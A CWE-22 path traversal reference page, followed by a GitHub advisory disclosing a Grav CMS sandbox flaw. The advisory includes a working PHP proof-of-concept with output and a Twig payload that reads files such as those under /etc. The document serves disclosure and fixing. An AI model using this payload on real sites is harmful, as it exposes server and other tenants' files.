CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16150 vulnerabilities reference this CWE, most recent first.
GHSA-47CH-6W46-6XM7
Vulnerability from github – Published: 2026-09-17 20:27 – Updated: 2026-09-17 20:27Summary
The media_directory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($media_dir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.
Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.
Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point media_directory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc():
public function mediaDirFunc($media_dir)
{
/** @var UniformResourceLocator $locator */
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
There is no check that $media_dir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.
system/src/Grav/Common/Page/Media.php, init(), called from the constructor:
protected function init()
{
$path = $this->getPath();
// Handle special cases where page doesn't exist in filesystem.
if (!$path || !is_dir($path)) {
return;
}
...
$iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);
foreach ($iterator as $file => $info) {
...
[$basename, $ext, $type, $extra] = $this->getFileParts($filename);
if (!in_array(strtolower((string) $ext), $media_types, true)) {
continue;
}
...
}
$path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().
system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it:
# ...
# dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is
# absent from ALLOWED_ACTIONS and stays blocked.
- class: 'Grav\Common\Page\Medium\Medium'
methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions'
filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.
media_directory in the sandbox's function allow-list:
- media_directory
Root cause
Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":
mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.- Once a
Mediumobject exists for a file outside any intended scope, the sandbox still hands page content thefilepathaccessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.
Proof of concept, verified, real output
I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.
Step 1, confirm the pinned commits used:
$ python3 -c "
import json
d = json.load(open('composer.lock'))
for name in ('rockettheme/toolbox','pimple/pimple','psr/container'):
for pkg in d['packages']:
if pkg['name'] == name:
print(name, pkg['source']['reference'])
"
rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d
pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce
psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 2, clone each at that exact commit:
$ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d
$ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce
$ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):
<?php
// media_traversal_poc.php
spl_autoload_register(function ($class) {
if (strpos($class, 'Grav\\') === 0) {
$rel = str_replace('Grav\\', '', $class);
$path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) {
$rel = str_replace('RocketTheme\\Toolbox\\', '', $class);
$parts = explode('\\', $rel);
$top = array_shift($parts);
$path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'Pimple\\') === 0) {
$rel = str_replace('Pimple\\', '', $class);
$path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'Psr\\Container\\') === 0) {
$rel = str_replace('Psr\\Container\\', '', $class);
$path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
});
use Grav\Common\Grav;
use Grav\Common\Page\Media;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
// Minimal stand-ins for Config/Pages, only the specific methods the real
// Media/MediumFactory/Medium classes actually call. Everything downstream
// of these calls is the real, unmodified Grav source under test.
class FakeConfig {
private $mediaTypes;
public function __construct() {
$this->mediaTypes = array_fill_keys(
['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'],
['type' => 'file', 'mime' => 'application/octet-stream']
);
$this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg'];
$this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png'];
}
public function get($key, $default = null) {
if ($key === 'system.media.enable_media_timestamp') return false;
if ($key === 'media.types') return $this->mediaTypes;
if (strpos($key, 'media.types.') === 0) {
$ext = substr($key, strlen('media.types.'));
return $this->mediaTypes[$ext] ?? $default;
}
return $default;
}
}
class FakePages {
public function get($path) { return null; }
}
$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);
$grav = new Grav([
'locator' => function () use ($locator) { return $locator; },
'config' => function () { return new FakeConfig(); },
'pages' => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);
// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type
echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";
// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
$resolved = $locator->findResource($target);
} else {
$resolved = $target; // the vulnerable fallthrough
}
$media = new Media($resolved);
echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
echo " - $filename (" . get_class($medium) . ")\n";
// filepath is allow-listed for Medium in the real sandbox config.
echo " .filepath => " . $medium->get('filepath') . "\n";
echo " file content (read from that path):\n";
echo " \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}
Step 4, run it:
$ php media_traversal_poc.php
Actual output:
=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no
Files Media discovered in that directory:
- config-snippet.json (Grav\Common\Page\Medium\Medium)
.filepath => /tmp/outside-grav-webroot-demo/config-snippet.json
file content (read from that path):
"{"api_key":"REDACTED-EXAMPLE-abc123"}"
- secret-notes.txt (Grav\Common\Page\Medium\Medium)
.filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt
file content (read from that path):
"internal notes, not meant to be public"
random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.
This is the equivalent of a real page containing {{ media_directory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.
Impact
Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.
Suggested fix
In mediaDirFunc(), when $media_dir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded media_directory() to reach arbitrary paths.
=========================================================== CWE FIELD =========================================================== CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".
=========================================================== SEVERITY FIELD =========================================================== Moderate, possibly High, see note above
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.15"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72697"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:27:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `media_directory()` Twig function is allow-listed for use in sandboxed, editor-authored page content (`system/config/security.yaml`). Its implementation, `GravExtension::mediaDirFunc()`, only treats the input as unsafe when it looks like a Grav stream (`user://`, `theme://`, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to `new Media($media_dir)`, which lists every file in that directory whose extension matches a configured media type (which by default includes `txt`, `json`, `xml`, `pdf`, `doc`, `docx`, and more, not just images) and builds `Medium` objects for them.\n\nSeparately, the sandbox\u0027s own allow-list for the `Medium` class includes the `filepath` accessor. A code comment directly above that allow-list entry states the developers\u0027 intent was for `filepath` to be part of the \"dangerous surface\" that \"stays blocked\", but it is listed as an allowed method on the very same line, contradicting that stated intent.\n\nCombined, a user who can enter page content that gets processed as Twig (`process.twig: true` in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in `processPage()`) can point `media_directory()` at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Twig/Extension/GravExtension.php`, `mediaDirFunc()`:\n```php\npublic function mediaDirFunc($media_dir)\n{\n /** @var UniformResourceLocator $locator */\n $locator = $this-\u003egrav[\u0027locator\u0027];\n\n if ($locator-\u003eisStream($media_dir)) {\n $media_dir = $locator-\u003efindResource($media_dir);\n }\n\n if ($media_dir \u0026\u0026 file_exists($media_dir)) {\n return new Media($media_dir);\n }\n\n return null;\n}\n```\nThere is no check that `$media_dir`, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.\n\n`system/src/Grav/Common/Page/Media.php`, `init()`, called from the constructor:\n```php\nprotected function init()\n{\n $path = $this-\u003egetPath();\n\n // Handle special cases where page doesn\u0027t exist in filesystem.\n if (!$path || !is_dir($path)) {\n return;\n }\n ...\n $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);\n\n foreach ($iterator as $file =\u003e $info) {\n ...\n [$basename, $ext, $type, $extra] = $this-\u003egetFileParts($filename);\n if (!in_array(strtolower((string) $ext), $media_types, true)) {\n continue;\n }\n ...\n }\n```\n`$path` here is whatever was passed to the `Media` constructor, the raw, unvalidated string from `mediaDirFunc()`.\n\n`system/config/security.yaml`, the `Medium` sandbox allow-list and the comment directly above it:\n```yaml\n # ...\n # dangerous surface (save, set, copy, deleteFile, toArray, filepath, \u2026) is\n # absent from ALLOWED_ACTIONS and stays blocked.\n - class: \u0027Grav\\Common\\Page\\Medium\\Medium\u0027\n methods: \u0027url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions\u0027\n```\n`filepath` is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.\n\n`media_directory` in the sandbox\u0027s function allow-list:\n```\n - media_directory\n```\n\n## Root cause\n\nTwo gaps, and the second one converts the first from \"list filenames from a directory\" into \"read the content of files\":\n\n1. `mediaDirFunc()`\u0027s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.\n2. Once a `Medium` object exists for a file outside any intended scope, the sandbox still hands page content the `filepath` accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.\n\n## Proof of concept, verified, real output\n\nI built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav\u0027s own `composer.lock` pins for every class involved: `getgrav/grav` itself, `rockettheme/toolbox` (for `UniformResourceLocator::isStream()`), `pimple/pimple` (the DI container `Grav\\Common\\Grav` extends), and `psr/container`.\n\nStep 1, confirm the pinned commits used:\n```\n$ python3 -c \"\nimport json\nd = json.load(open(\u0027composer.lock\u0027))\nfor name in (\u0027rockettheme/toolbox\u0027,\u0027pimple/pimple\u0027,\u0027psr/container\u0027):\n for pkg in d[\u0027packages\u0027]:\n if pkg[\u0027name\u0027] == name:\n print(name, pkg[\u0027source\u0027][\u0027reference\u0027])\n\"\nrockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d\npimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce\npsr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963\n```\n\nStep 2, clone each at that exact commit:\n```\n$ git clone https://github.com/rockettheme/toolbox.git \u0026\u0026 cd toolbox \u0026\u0026 git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d\n$ git clone https://github.com/silexphp/Pimple.git \u0026\u0026 cd Pimple \u0026\u0026 git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce\n$ git clone https://github.com/php-fig/container.git \u0026\u0026 cd container \u0026\u0026 git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963\n```\n\nStep 3, PoC script. It registers a real `Grav` container (the actual class, not a stub) with a real `UniformResourceLocator` that only has `user`/`image` streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified `Grav\\Common\\Page\\Media` class exactly the way `mediaDirFunc()` does, on a plain filesystem path standing in for \"some directory outside the intended scope\" (I used a throwaway `/tmp` directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, `/etc`, another tenant\u0027s directory on shared hosting, Grav\u0027s own non-webroot folders, etc):\n\n```php\n\u003c?php\n// media_traversal_poc.php\nspl_autoload_register(function ($class) {\n if (strpos($class, \u0027Grav\\\\\u0027) === 0) {\n $rel = str_replace(\u0027Grav\\\\\u0027, \u0027\u0027, $class);\n $path = \u0027/home/claude/grav/system/src/Grav/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n if (file_exists($path)) { require_once $path; return; }\n }\n if (strpos($class, \u0027RocketTheme\\\\Toolbox\\\\\u0027) === 0) {\n $rel = str_replace(\u0027RocketTheme\\\\Toolbox\\\\\u0027, \u0027\u0027, $class);\n $parts = explode(\u0027\\\\\u0027, $rel);\n $top = array_shift($parts);\n $path = \u0027/home/claude/toolbox/\u0027 . $top . \u0027/src/\u0027 . implode(\u0027/\u0027, $parts) . \u0027.php\u0027;\n if (file_exists($path)) { require_once $path; return; }\n }\n if (strpos($class, \u0027Pimple\\\\\u0027) === 0) {\n $rel = str_replace(\u0027Pimple\\\\\u0027, \u0027\u0027, $class);\n $path = \u0027/home/claude/Pimple/src/Pimple/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n if (file_exists($path)) { require_once $path; return; }\n }\n if (strpos($class, \u0027Psr\\\\Container\\\\\u0027) === 0) {\n $rel = str_replace(\u0027Psr\\\\Container\\\\\u0027, \u0027\u0027, $class);\n $path = \u0027/home/claude/container/src/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n if (file_exists($path)) { require_once $path; return; }\n }\n});\n\nuse Grav\\Common\\Grav;\nuse Grav\\Common\\Page\\Media;\nuse RocketTheme\\Toolbox\\ResourceLocator\\UniformResourceLocator;\n\n// Minimal stand-ins for Config/Pages, only the specific methods the real\n// Media/MediumFactory/Medium classes actually call. Everything downstream\n// of these calls is the real, unmodified Grav source under test.\nclass FakeConfig {\n private $mediaTypes;\n public function __construct() {\n $this-\u003emediaTypes = array_fill_keys(\n [\u0027jpg\u0027,\u0027jpeg\u0027,\u0027png\u0027,\u0027gif\u0027,\u0027svg\u0027,\u0027txt\u0027,\u0027json\u0027,\u0027xml\u0027,\u0027pdf\u0027,\u0027doc\u0027,\u0027docx\u0027],\n [\u0027type\u0027 =\u003e \u0027file\u0027, \u0027mime\u0027 =\u003e \u0027application/octet-stream\u0027]\n );\n $this-\u003emediaTypes[\u0027jpg\u0027] = [\u0027type\u0027 =\u003e \u0027image\u0027, \u0027mime\u0027 =\u003e \u0027image/jpeg\u0027];\n $this-\u003emediaTypes[\u0027png\u0027] = [\u0027type\u0027 =\u003e \u0027image\u0027, \u0027mime\u0027 =\u003e \u0027image/png\u0027];\n }\n public function get($key, $default = null) {\n if ($key === \u0027system.media.enable_media_timestamp\u0027) return false;\n if ($key === \u0027media.types\u0027) return $this-\u003emediaTypes;\n if (strpos($key, \u0027media.types.\u0027) === 0) {\n $ext = substr($key, strlen(\u0027media.types.\u0027));\n return $this-\u003emediaTypes[$ext] ?? $default;\n }\n return $default;\n }\n}\nclass FakePages {\n public function get($path) { return null; }\n}\n\n$locator = new UniformResourceLocator(\u0027/home/claude/grav\u0027);\n$locator-\u003eaddPath(\u0027user\u0027, \u0027\u0027, [\u0027user\u0027]);\n$locator-\u003eaddPath(\u0027image\u0027, \u0027\u0027, [\u0027user/images\u0027]);\n\n$grav = new Grav([\n \u0027locator\u0027 =\u003e function () use ($locator) { return $locator; },\n \u0027config\u0027 =\u003e function () { return new FakeConfig(); },\n \u0027pages\u0027 =\u003e function () { return new FakePages(); },\n]);\n$ref = new ReflectionClass(Grav::class);\n$prop = $ref-\u003egetProperty(\u0027instance\u0027);\n$prop-\u003esetAccessible(true);\n$prop-\u003esetValue(null, $grav);\n\n// Stand-in for \"somewhere outside the intended scope\". Using /tmp so the\n// PoC is safe to run here, the mechanism is identical for /etc or any\n// other web-server-readable path.\n$target = \u0027/tmp/outside-grav-webroot-demo\u0027;\n@mkdir($target);\nfile_put_contents($target . \u0027/secret-notes.txt\u0027, \"internal notes, not meant to be public\\n\");\nfile_put_contents($target . \u0027/config-snippet.json\u0027, \u0027{\"api_key\":\"REDACTED-EXAMPLE-abc123\"}\u0027);\nfile_put_contents($target . \u0027/random.bin\u0027, random_bytes(16)); // not a recognized media type\n\necho \"=== Grav\\\\Common\\\\Page\\\\Media, real unmodified source, given a plain filesystem path ===\\n\";\necho \"Target directory: $target\\n\";\necho \"Is it registered as a Grav stream? \" . ($locator-\u003eisStream($target) ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n\n// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().\nif ($locator-\u003eisStream($target)) {\n $resolved = $locator-\u003efindResource($target);\n} else {\n $resolved = $target; // the vulnerable fallthrough\n}\n\n$media = new Media($resolved);\n\necho \"Files Media discovered in that directory:\\n\";\nforeach ($media-\u003eall() as $filename =\u003e $medium) {\n echo \" - $filename (\" . get_class($medium) . \")\\n\";\n // filepath is allow-listed for Medium in the real sandbox config.\n echo \" .filepath =\u003e \" . $medium-\u003eget(\u0027filepath\u0027) . \"\\n\";\n echo \" file content (read from that path):\\n\";\n echo \" \\\"\" . trim((string) @file_get_contents($medium-\u003eget(\u0027filepath\u0027))) . \"\\\"\\n\\n\";\n}\n```\n\nStep 4, run it:\n```\n$ php media_traversal_poc.php\n```\n\nActual output:\n```\n=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\nTarget directory: /tmp/outside-grav-webroot-demo\nIs it registered as a Grav stream? no\n\nFiles Media discovered in that directory:\n - config-snippet.json (Grav\\Common\\Page\\Medium\\Medium)\n .filepath =\u003e /tmp/outside-grav-webroot-demo/config-snippet.json\n file content (read from that path):\n \"{\"api_key\":\"REDACTED-EXAMPLE-abc123\"}\"\n\n - secret-notes.txt (Grav\\Common\\Page\\Medium\\Medium)\n .filepath =\u003e /tmp/outside-grav-webroot-demo/secret-notes.txt\n file content (read from that path):\n \"internal notes, not meant to be public\"\n```\n\n`random.bin` is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav\u0027s own default `media.types` list (`txt`, `json`, ...), not because of anything I loosened in the stub.\n\nThis is the equivalent of a real page containing `{{ media_directory(\u0027/etc\u0027).files }}` (or any other path outside the site) being able to enumerate and, via `.filepath` on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.\n\n## Impact\n\nAny user who can author page content that gets Twig-processed, which includes, per Grav\u0027s own code comments, all modular page content unconditionally, plus any regular page with `process.twig: true`, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (`txt`, `json`, `xml`, `pdf`, `doc`, `docx`, images, and more by default). This is not limited to 